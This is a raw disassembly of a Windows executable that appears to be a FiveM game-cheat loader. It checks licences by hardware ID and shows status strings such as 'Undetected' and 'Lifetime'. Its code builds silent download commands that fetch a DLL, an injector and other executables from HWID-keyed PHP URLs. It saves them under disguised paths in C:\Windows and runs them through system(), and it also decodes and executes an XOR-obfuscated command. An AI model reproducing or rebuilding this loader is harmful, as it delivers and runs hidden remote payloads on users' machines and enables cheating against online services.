movups xmmword [rbp + 0x1e0], xmm0
lea rdx, str.Lifetime
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
jmp 0x14005c16d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test r14, r14
jg 0x14005c118
mov rax, qword [0x14013dd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a10
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
lea rdx, str.No_License
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
jmp 0x14005c16d
imul r14
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
mov r8d, r10d
lea rdx, str._d_Days
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ac66c]
addss xmm0, dword [0x1400ac680]
movss dword [rbp + 0x200], xmm0
movss dword [rbp + 0x204], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ac63c]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac638]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0x4c0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac5f0]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0xff0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac68c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400ac950]
movups xmmword [rbp + 0x1e0], xmm1
lea rdx, str.Undetected
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rbx, qword [0x14013dd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x50], 0xb
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.140038f60
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x1400ac6fc]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac694]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43340000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
test r14, r14
jle 0x14005c7e2
lea rcx, str.Start
call fcn.140050710
test al, al
je 0x14005c7ee
lea r8, str.downloadfivem.php_hwid
lea rcx, [rbp - 0x70]
call fcn.140065c20
nop
lea r14, [0x14013e498]
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140065d90
nop
lea rcx, [rbp - 0x70]
call fcn.140064b10
lea r8, str.downloadinj.php_hwid
lea rcx, [rbp + 0x1e0]
call fcn.140065c20
nop
mov rdx, r14
cmp qword [0x14013e4b0], 0xf
cmova rdx, qword [0x14013e498]
mov r8, qword [0x14013e4a8]
mov rcx, rax
call fcn.140064a90
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r15d, 0xa
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x14005c4b2
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c4ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005c4ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a770
movdqa xmm0, xmmword [0x1400ac7f0]
movdqu xmmword [rbp + 0x1f0], xmm0
mov byte [rbp + 0x1e0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
mov r8d, 0x35
lea rdx, str.C:Windows_securitydatabase_rage_scripting_fivem.dll
lea rcx, [rbp + 0x200]
call fcn.140066740
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x70]
call fcn.140064cc0
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140059b70
nop
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x1e0]
call fcn.140064cc0
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.140059b70
nop
lea r8, [rbp + 0x280]
lea rcx, [rsp + 0x50]
call fcn.140065e00
nop
lea r8, str.__o_C:Windows_securitydatabase_rage_scripting_fivem.dll___silent
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140065bb0
mov rcx, rax
call fcn.140064a80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x70]
call fcn.140064b10
nop
lea rcx, [rsp + 0x50]
call fcn.140064b10
lea r8, [rbp + 0x2e0]
lea rcx, [rsp + 0x50]
call fcn.140065e00
nop
lea r8, str.__o_C:Windows_securitydatabaselauncher.exe___silent
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140065bb0
mov rcx, rax
call fcn.140064a80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x70]
call fcn.140064b10
nop
lea rcx, [rsp + 0x50]
call fcn.140064b10
movups xmm0, xmmword [0x1400ac018]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400ac028]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1400ac038]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x1400ac040]
mov word [rbp - 0x48], ax
mov r8d, esi
cmp r12d, 2
jl 0x14005c74d
movdqa xmm5, xmmword [0x1400ac860]
movdqa xmm4, xmmword [0x1400aca60]
movdqa xmm6, xmmword [str.8888]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rbp + 0x1e0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ac8d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ac8d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005c640
cmp r8d, 0x2a
jge 0x14005c795
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x14005c760
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2e0]
call fcn.140064b10
nop
lea rcx, [rbp + 0x280]
call fcn.140064b10
nop
lea rcx, [rbp + 0x200]
call fcn.140064b10
nop
lea rcx, [rbp + 0x260]
call fcn.140064b10
nop
lea rcx, [rbp + 0x240]
call fcn.140064b10
jmp 0x14005c7f5
lea rcx, str.No_License
call fcn.140050710
lea r14, [0x14013e498]
mov rcx, qword [0x14013dd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
lea r12, [0x140000000]
mov r9d, dword [r12 + r10*4 + 0x7f278]
cmp dword [r12 + r10*4 + 0x7f270], 8
jne 0x14005c86c
mov eax, dword [r12 + r10*4 + 0x7f274]
cmp eax, 1
jne 0x14005c84d
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005c86c
cmp eax, 2
jne 0x14005c86c
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e60
mov eax, dword [0x14013e1c8]
test eax, eax
jne 0x14005e3d9
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm15
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac744]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43870000
mov dword [rsp + 0x54], 0x435c0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container2
call fcn.1400190c0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005c954
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005c963
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, str.container2
call fcn.140020c40
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov r14, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rbp - 0x80], xmm6
movss dword [rbp - 0x7c], xmm7
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x54], 0x3f800000
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov dword [rsp + 0x70], eax
addss xmm7, xmm9
addss xmm6, xmm10
movss dword [rbp + 0x200], xmm6
movss dword [rbp + 0x204], xmm7
mov r12, qword [0x14013de18]
test eax, 0xff000000
je 0x14005cae8
mov r13, qword [r14 + 0x98]
cmp r12, r13
je 0x14005ca3f
mov rdx, r12
mov rcx, r14
call fcn.140041ea0
mov ebx, dword [r14 + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rbp + 0x200]
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.1400441b0
mov r9d, dword [rsp + 0x70]
mov r8d, dword [r14 + 0x78]
mov rdx, qword [r14 + 0x80]
mov rcx, r14
call fcn.1400431d0
mov dword [r14 + 0x78], esi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8d, dword [r14 + 0x20]
mov edx, ebx
mov rcx, r14
call fcn.1400454c0
cmp r12, r13
je 0x14005cae1
movsxd rcx, dword [r14 + 0x68]
lea eax, [rcx - 1]
mov dword [r14 + 0x68], eax
test eax, eax
jne 0x14005cac9
mov rax, rsi
jmp 0x14005cad2
mov rax, qword [r14 + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [r14 + 0x98], rax
mov rcx, r14
call fcn.140041c50
lea r13, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm12
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013dd88]
call fcn.140027300
lea rdx, [0x14013e3f0]
lea rcx, [rbp - 0x70]
call fcn.140064cc0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005cb8c
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005cbd2
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005cbcd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005cd95
mov rcx, r8
call fcn.14007a770
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov dword [rbp + 0x2c0], eax
lea r12, [0x140000000]
lea rax, [r12 + 0xac1e8]
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r15d, 4
mov dword [rsp + 0x70], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], r13
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx - 0x44], edx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x30], rax
lea rdx, [0x14013dfd8]
cmp qword [0x14013dff0], 0xf
cmova rdx, qword [0x14013dfd8]
mov r9d, 2
mov r8, qword [0x14013dfe8]
lea rcx, [rbp - 0x30]
call fcn.140065440
nop
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], rdi
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rax], 0
jne 0x14005ccd0
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x40]
call fcn.14006a6b0
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], r13
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140063900
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
mov r14, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
sub r14, rdx
cmp r14, 0x278d00
jle 0x14005cd9c
movaps xmm0, xmmword [0x1400aca10]
movups xmmword [rbp + 0x1e0], xmm0
lea rdx, str.Lifetime
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
jmp 0x14005ce6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test r14, r14
jg 0x14005ce0e
mov rax, qword [0x14013dd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a10
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
lea rdx, str.No_License
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
jmp 0x14005ce6d
movabs rax, 0x1845c8a0ce512957
imul r14
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
mov r8d, r10d
lea rdx, str._d_Days
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ac66c]
addss xmm0, dword [0x1400ac680]
movss dword [rbp + 0x200], xmm0
movss dword [rbp + 0x204], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ac63c]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac638]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0x4c0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac5f0]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0xff0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac68c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400ac950]
movups xmmword [rbp + 0x1e0], xmm1
lea rdx, str.Undetected
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rbx, qword [0x14013dd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x50], 0xb
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.140038f60
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x1400ac6fc]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac694]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43340000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
test r14, r14
jle 0x14005d1a3
lea rcx, str.Start
call fcn.140050710
test al, al
je 0x14005d1af
lea r8, str.downloadow.php_hwid
lea rcx, [rbp - 0x70]
call fcn.140065c20
nop
lea r14, [0x14013e498]
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140065d90
nop
lea rcx, [rbp - 0x70]
call fcn.140064b10
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x2e0]
call fcn.140064cc0
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140059b70
nop
lea r8, [rbp + 0x240]
lea rcx, [rbp + 0x260]
call fcn.140065e00
nop
lea r8, str.__o_C:Windows_apppatchproduction.exe___silent
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140065bb0
cmp qword [rax + 0x18], 0xf
jbe 0x14005d163
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x70]
call fcn.140064b10
nop
lea rcx, [rbp + 0x260]
call fcn.140064b10
call fcn.1400591f0
nop
lea rcx, [rbp + 0x240]
call fcn.140064b10
nop
lea rcx, [rbp + 0x280]
call fcn.140064b10
jmp 0x14005d1b6
lea rcx, str.Dont_Have_License
call fcn.140050710
lea r14, [0x14013e498]
mov rcx, qword [0x14013dd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r12 + r10*4 + 0x7f278]
cmp dword [r12 + r10*4 + 0x7f270], 8
jne 0x14005d226
mov eax, dword [r12 + r10*4 + 0x7f274]
cmp eax, 1
jne 0x14005d207
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005d226
cmp eax, 2
jne 0x14005d226
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e60
mov eax, dword [0x14013e1c8]
test eax, eax
jne 0x14005e3d9
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm15
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac758]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43870000
mov dword [rsp + 0x54], 0x435c0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container3
call fcn.1400190c0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005d30e
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005d31d
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, str.container3
call fcn.140020c40
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov r14, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rbp - 0x80], xmm6
movss dword [rbp - 0x7c], xmm7
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x54], 0x3f800000
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov dword [rsp + 0x70], eax
addss xmm7, xmm9
addss xmm6, xmm10
movss dword [rbp + 0x200], xmm6
movss dword [rbp + 0x204], xmm7
mov r12, qword [0x14013dde8]
test eax, 0xff000000
je 0x14005d49b
mov r13, qword [r14 + 0x98]
cmp r12, r13
je 0x14005d3f9
mov rdx, r12
mov rcx, r14
call fcn.140041ea0
mov ebx, dword [r14 + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rbp + 0x200]
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.1400441b0
mov r9d, dword [rsp + 0x70]
mov r8d, dword [r14 + 0x78]
mov rdx, qword [r14 + 0x80]
mov rcx, r14
call fcn.1400431d0
mov dword [r14 + 0x78], esi
lea rax, [rsp + 0x50]
